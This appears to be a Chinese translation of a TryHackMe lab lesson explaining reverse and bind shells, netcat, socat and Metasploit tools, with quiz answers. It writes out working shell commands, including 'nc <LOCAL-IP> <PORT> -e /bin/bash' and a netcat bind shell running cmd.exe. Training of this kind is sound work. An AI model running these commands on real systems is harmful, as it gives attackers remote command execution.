什么是shell?
在我们深入了解发送和接收 shell 的复杂性之前,了解 shell 的实际含义非常重要。用最简单的术语来说,shell 是我们与命令行环境 (CLI) 交互时使用的工具。换句话说,Linux中常见的 bash 或 sh 程序都是 shell 的例子,Windows 上的 cmd.exe 和 Powershell 也是如此。当针对远程系统时,有时可能会强制在服务器(例如网络服务器)上运行的应用程序执行任意代码。发生这种情况时,我们希望使用此初始访问来获取在目标上运行的 shell。
简而言之,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者打开服务器上的端口,我们可以连接到该端口以执行进一步的命令(绑定shell) )。
我们将在整个房间中更详细地介绍这两种场景。
这个房间的格式如下:
- 房间的大部分内容由信息组成,代码块和屏幕截图中给出了示例。
- 房间的最后两项任务中有两台虚拟机——一台是Linux ,一台是 Windows。这些可以用来练习所演示的技术。
- 任务 13 中有示例练习题。请随意完成这些练习,或者在完成任务时按照任务进行操作。
话不多说,让我们开始吧!
工具
我们将使用多种工具来接收反向 shell 和发送绑定 shell。一般来说,我们需要恶意 shell 代码,以及与生成的 shell 交互的方法。我们将在下面简要讨论其中的每一个:
Netcat
Netcat 是传统的网络“瑞士军刀”。它用于手动执行各种网络交互,包括在枚举期间抓取横幅之类的操作,但对于我们的用途来说更重要的是,它可以用于接收反向 shell 并连接到附加到目标系统上的绑定 shell 的远程端口。默认情况下,Netcat shell 非常不稳定(容易丢失),但可以通过我们将在即将到来的任务中介绍的技术进行改进。
Socat
Socat 就像使用了类固醇的 Netcat。它可以做所有相同的事情,甚至更多。 Socat shell 通常比开箱即用的 netcat shell 更稳定。从这个意义上来说,它比 netcat 优越得多;然而,有两个大问题:
- 语法比较难
- 默认情况下,Netcat 几乎安装在每个Linux发行版上。默认情况下很少安装 Socat。
这两个问题都有解决方法,我们将在稍后介绍。
Socat 和 Netcat 都有可在 Windows 上使用的 .exe 版本。
Metasploit——多/处理程序:
Metasploit框架的模块exploit/multi/handler
与socat和netcat一样,用于接收反向shell。由于是 Metasploit 框架的一部分,multi/handler 提供了一种成熟的方法来获取稳定的 shell,并提供多种进一步的选项来改进捕获的 shell。它也是与meterpreter shell交互的唯一方法,也是处理分阶段有效负载的最简单方法——我们将在任务 9 中讨论这两个方法。
Msfvenom:
与 multi/handler 一样,msfvenom 在技术上是Metasploit框架的一部分,但它是作为独立工具提供的。 Msfvenom 用于动态生成有效负载。虽然 msfvenom 可以生成除反向和绑定 shell 之外的有效负载,但这些是我们在这个房间中将重点关注的内容。 Msfvenom 是一个非常强大的工具,因此我们将在专门的任务中更详细地介绍它的应用。
除了我们已经介绍过的工具之外,还有一些采用多种不同语言的 shell 存储库。其中最突出的之一是Payloads all the Things。 PentestMonkey Reverse Shell Cheatsheet也很常用。除了这些在线资源之外,Kali Linux还预装了各种 webshell,位于/usr/share/webshells
. SecLists repo虽然主要用于单词列表,但也包含一些用于获取 shell 的非常有用的代码。
shell类型
在高层次上,我们对利用目标的两种 shell 感兴趣:反向 shell 和绑定 shell。
- 反向 shell是指目标被迫执行连接回您的计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。然而,由于我们连接网络的方法,这在 TryHackMe 网络上不会成为问题。
- 绑定 shell是指在目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。
一般来说,反向 shell 更容易执行和调试,但是,我们将在下面介绍这两个示例。不要太担心这里的语法:我们将在接下来的任务中查看它。相反,请注意以下模拟中反向 shell 和绑定 shell 之间的差异。
反向Shell示例:
我们先从比较常见的反向shell开始。
十分之九,这就是您所追求的——尤其是在像 TryHackMe 这样的 CTF 挑战中。
看看下面的图片。左边有一个反向 shell 监听器——这是接收连接的。右边是发送反向shell的模拟。实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成。将左侧的图像想象为您自己的计算机,将右侧的图像想象为目标。
在攻击机上:
sudo nc -lvnp 443
关于目标:
nc <LOCAL-IP> <PORT> -e /bin/bash
请注意,运行右侧的命令后,侦听器会收到连接。当运行 whoami 命令时,我们看到我们正在以目标用户身份执行命令。这里重要的是我们正在监听我们自己的攻击机器,并从目标发送连接。
绑定shell示例:
绑定 shell 不太常见,但仍然非常有用。
再次看一下下面的图片。同样,左边是攻击者的计算机,右边是模拟目标。只是为了稍微改变一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器 - 这次我们还告诉它执行cmd.exe
。然后,随着侦听器的启动并运行,我们从自己的计算机连接到新打开的端口。
关于目标:
nc -lvnp <port> -e "cmd.exe"
在攻击机上:
nc MACHINE_IP <port>
正如您所看到的,这再次让我们在远程计算机上执行代码。请注意,这并非特定于 Windows。
这里要理解的重要一点是,我们正在监听目标,然后用我们自己的机器连接到它。
与此任务相关的最后一个概念是交互性。 Shell 可以是交互式的,也可以是非交互式的。
交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准CLI环境,那么您将习惯
交互式 shell。这些允许您在执行程序后与程序进行交互。例如,以SSH登录提示为例:
在这里您可以看到它以交互方式询问用户键入 yes 或 no 以便继续连接。这是一个交互式程序,需要交互式 shell 才能运行。
非交互式shell 不会给您带来那种奢侈。在非交互式 shell 中,您只能使用不需要用户交互才能正常运行的程序。不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这可能会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行SSH
时会发生什么:请注意,whoami
命令(非交互式)完美执行,但命令ssh
(交互式)根本没有给我们任何输出。有趣的是,交互式命令的输出确实会去某个地方,但是,弄清楚哪里是您自己尝试的练习。可以说,交互式程序无法在非交互式 shell 中运行。
此外,在整个任务的各个地方,您将在屏幕截图中看到一个名为 的命令listener
。该命令是用于演示的攻击机器特有的别名,并且是键入的简写方式sudo rlwrap nc -lvnp 443
,将在接下来的任务中介绍。除非在本地配置了别名,否则它将无法在任何其他计算机上工作。
3.1哪种类型的 shell 连接回计算机上的侦听端口:反向 (R) 还是绑定 (B)? R
3.2您已将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗? (是或否) N
3.3使用绑定 shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器? T
Netcat
如前所述,当涉及任何类型的网络时,Netcat 是渗透测试人员工具包中最基本的工具。有了它,我们可以做各种各样有趣的事情,但现在让我们关注 shell。
反向shell
在上一个任务中,我们看到反向 shell 需要 shellcode 和侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。
使用Linux启动 netcat 侦听器的语法如下:
nc -lvnp <port-number>
- -l用于告诉 netcat 这将是一个侦听器
- -v用于请求详细输出
- -n告诉 netcat 不要解析主机名或使用DNS。解释这一点超出了房间的范围。
- -p表示将遵循端口规范。
上一个任务中的示例使用端口 443。实际上,您可以使用您喜欢的任何端口,只要还没有服务使用它即可。请注意,如果您选择使用低于 1024 的端口,则需要sudo
在启动侦听器时使用。也就是说,使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。
一个可行的例子是:
sudo nc -lvnp 443
然后,我们可以使用任意数量的有效负载连接回此,具体取决于目标上的环境。
上一个任务中显示了这样的示例。
绑定shell
如果我们希望在目标上获得绑定 shell,那么我们可以假设目标的选定端口上已经有一个侦听器在等待我们:我们需要做的就是连接到它。其语法相对简单:
nc <target-ip> <chosen-port>
在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。
我们将在任务 8 中了解如何使用 netcat 为此类 shell 创建侦听器。这里重要的是您了解如何使用 netcat 连接到侦听端口。
4